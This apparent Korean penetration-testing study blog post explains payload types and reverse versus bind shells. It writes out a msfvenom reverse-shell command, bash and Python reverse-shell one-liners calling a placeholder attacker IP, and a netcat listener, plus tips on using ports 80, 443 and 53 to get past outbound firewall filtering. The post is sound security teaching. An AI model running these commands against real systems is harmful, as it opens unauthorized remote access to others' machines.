모의해킹
호스트기반모의해킹_23_페이로드와 리버스 쉘
작성자 : Heehyeon Yoo|2025-12-03
# 모의해킹# Payload# Reverse Shell# MSFVenom# Netcat
1. 페이로드(Payload) 개요
페이로드(Payload)는 익스플로잇(Exploit) 성공 후 타겟 시스템에서 실행되는 코드나 데이터를 의미한다.
- 구성 요소: 대상(Target OS), 포맷(Format: ELF, EXE), 전달 방식(Staging), 종류(Type).
- 전달 방식에 따른 분류:
- Staged Payload: 작은 로더(Loader)만 먼저 실행 후, 나머지 공격 코드를 네트워크로 다운로드한다.(용량 작음, 탐지 가능성)
- Stageless Payload: 모든 기능이 포함된 단일 파일.(용량 큼, 안정적)
2. 쉘(Shell)의 종류
2.1 리버스 쉘(Reverse Shell)
- 동작: 타겟(Target)이 공격자(Attacker)에게 연결을 시도한다(
Outbound Connection). - 장점: 대부분의 방화벽은 들어오는 연결(Inbound)은 막지만, 나가는 연결(Outbound)은 허용하는 경우가 많아 방화벽 우회에 유리하다.
- 실무: 모의해킹에서 가장 많이 사용되는 방식이다.
2.2 바인드 쉘(Bind Shell)
- 동작: 타겟 시스템의 특정 포트를 열어두고(Bind), 공격자가 타겟으로 접속한다(
Inbound Connection). - 단점: 방화벽(Inbound Deny)이나 NAT 환경에서는 접속이 불가능한 경우가 많다.
3. 리버스 쉘 제작 및 실습
3.1 MSFVenom(자동화 도구)
메타스플로잇(Metasploit) 프레임워크에 포함된 페이로드 생성 도구.
# 리눅스 64비트 Stageless Reverse TCP 쉘 생성
# -p: 페이로드, LHOST: 공격자 IP, LPORT: 공격자 포트, -f: 포맷, -o: 출력 파일
msfvenom -p linux/x64/shell_reverse_tcp LHOST=[Attacker_IP] LPORT=[Port] -f elf -o shell.elf
3.2 One-Liner(스크립트 활용)
파일 업로드가 제한적일 때, 타겟 시스템에 존재하는 인터프리터(Bash, Python 등)를 이용한다.
- Bash:
bash -i >& /dev/tcp/[Attacker_IP]/[Port] 0>&1 - Python:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[IP]",[Port]));os.dup2(s.fileno(),0);...' - 팁:
revshells.com사이트에서 IP/Port만 입력하면 다양한 언어의 구문을 자동으로 생성해준다.
3.3 리스너(Listener) 설정
공격자는 타겟이 보내는 연결을 받을 준비를 해야 한다.
# Netcat을 이용한 리스너(포트 대기)
nc -lvnp [Port]
-l: Listen 모드-v: Verbose(상세 출력)-n: DNS 조회 안 함(No Resolve, 속도 향상)-p: Port 지정
4. 실무에서는?
- 환경 조사 필수: "무조건 리버스 쉘"이 아니라, 타겟에
python이 있는지nc가 있는지 확인 후 적절한 페이로드를 선택한다. - 포트 선택: 아웃바운드 필터링을 우회하기 위해
80,443,53,8080등 일반적으로 허용되는 포트를 LPORT로 사용하는 것이 성공 확률이 높다.